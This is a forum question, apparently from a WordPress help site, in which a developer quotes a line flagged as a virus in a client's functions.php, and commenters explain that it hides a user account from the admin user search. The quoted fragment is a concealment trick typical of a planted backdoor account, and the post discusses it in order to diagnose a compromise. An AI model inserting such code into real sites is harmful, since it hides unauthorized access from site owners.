0

So I am working on client's site and I found this code in the functions.php file highlighted as a virus.

@!!!>$user_search->query_where=str_replace('WHERE 1=1',"WHERE 1=1 AND{$wpdb->users}.user_login!='f*****[email protected]'",$user

Now I don't know php but it looks like it is trying to replace the user 1's email in the database with this email. I censored the email. am I right? but if so how is the attacker going to excite this? There has to be a trigger for this, right?

Improve this question
3
  • 1
    what's the surrounding code for this? It does look very unusual, but considering an attacker would have had to have compromised the site to put it there in order to compromise the site, I'd either consider the site already compromised, or that the clients previous vendor put it there. Right now though there isn't enough information or context to properly answer the question though, it's unclear where how or when the code is running
    – Tom J Nowell ♦
    Commented Apr 22, 2022 at 19:19
  • Rather than trying to replace a user's email, it's trying to hide the user with that email address from a user search, which is, indeed, suspect.
    – vancoder
    Commented Apr 26, 2022 at 22:01
  • Just email them and ask what it is.
    – vancoder
    Commented Apr 26, 2022 at 22:01

0

Reset to default

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Browse other questions tagged or ask your own question.